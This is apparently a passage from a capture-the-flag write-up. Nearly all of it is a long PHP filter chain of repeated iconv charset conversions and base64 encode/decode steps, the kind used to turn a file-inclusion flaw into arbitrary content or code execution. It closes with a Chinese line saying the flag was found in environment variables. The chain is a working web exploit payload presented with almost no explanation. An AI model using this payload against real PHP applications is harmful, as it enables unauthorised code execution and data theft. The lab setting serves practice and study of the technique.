.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP9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最后flag在环境变量中发现